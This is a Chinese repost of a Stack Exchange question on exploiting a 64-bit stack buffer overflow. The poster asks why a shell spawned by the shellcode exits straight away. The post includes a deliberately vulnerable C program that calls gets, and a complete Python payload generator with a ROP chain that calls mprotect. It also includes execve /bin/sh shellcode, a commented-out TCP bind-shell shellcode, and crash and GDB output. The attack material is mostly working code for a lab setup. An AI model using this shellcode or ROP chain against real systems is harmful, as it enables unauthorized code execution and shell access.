64位程序缓冲区溢出后Shellcode执行即退出的问题排查
64位Intel程序漏洞利用:Shellcode执行后程序立即退出问题
环境与背景
- 目标:研究64位Intel可执行文件的漏洞利用技术
- 编译配置:关闭Canary保护(
-fno-stack-protector)、关闭缓冲区溢出检测(D_FORTIFY_SOURCE=0),开启ASLR地址随机化
问题现象
正常运行场景
通过管道传入payload后,程序直接崩溃退出,无法获取交互式shell:
# cat payload | ./vuln Hi there ����������j)Xj_j^�1���2�+j^�j!X��u�PH�/bin//shST_�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !! Segmentation fault (core dumped)
GDB调试场景
- TCP绑定Shellcode:程序正常挂起并监听指定端口,可通过
nc工具成功连接获取shell - execve执行
/bin/sh的Shellcode:程序执行后仍会直接退出,无法保留交互式会话:
gef➤ r < payload Starting program: /root/x86-exploitation/vuln < payload [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Hi there ����������H1��iH1�H��/bin/shH�SH��H1�PWH��;j_j<XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !! process 6121 is executing new program: /usr/bin/dash [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Inferior 1 (process 6121) exited normally]
猜测方向
怀疑问题与stdin/stdout的文件描述符状态有关,但尚未明确具体触发机制。
相关代码
Payload生成脚本
import sys import struct base_libc_addr = 0x00007ffff7d8c000 pop_rdi = struct.pack('<Q', base_libc_addr + 0x000000000002a3e5) rdi = struct.pack('<Q', 0x00007fffffffe000) pop_rsi = struct.pack('<Q', base_libc_addr + 0x000000000002be51) rsi = struct.pack('<Q', 0x1000) pop_rdx = struct.pack('<Q', base_libc_addr + 0x0000000000170337) rdx = struct.pack('<Q', 0x7) mprotect = struct.pack('<Q', base_libc_addr + 0x000000000011eaa0) padding = b'C'*6 final = struct.pack('<Q', 0x00007fffffffe260) # 0x00007fffffffdee0 # 0x00007fffffffdef0 nops = b'\x90'* 10 # shellcode for /bin/sh binding to TCP # shellcode=b"\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff" # shellcode+= b"\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66" # shellcode+=b"\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10" # shellcode+=b"\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58" # shellcode+=b"\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03" # shellcode+= b"\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31" # shellcode+=b"\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73" # shellcode+=b"\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05" # shellcode for execve() /bin/sh shellcode = b'\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' buf = nops + shellcode buf += b'A'*(208 - len(nops) - len(shellcode)) buf += b'B'*8 sys.stdout.buffer.write(buf + pop_rdi + rdi + pop_rsi + rsi + pop_rdx + rdx + mprotect + padding + final)
受害程序代码
#include <stdio.h> void greet_me(){ char name[200]; gets(name); printf("Hi there %s !!\n", name); } int main(int argc, char *argv[]){ greet_me(); return 0; }
内容的提问来源于stack exchange,提问作者Anh Phan
相关产品推荐
相关产品推荐

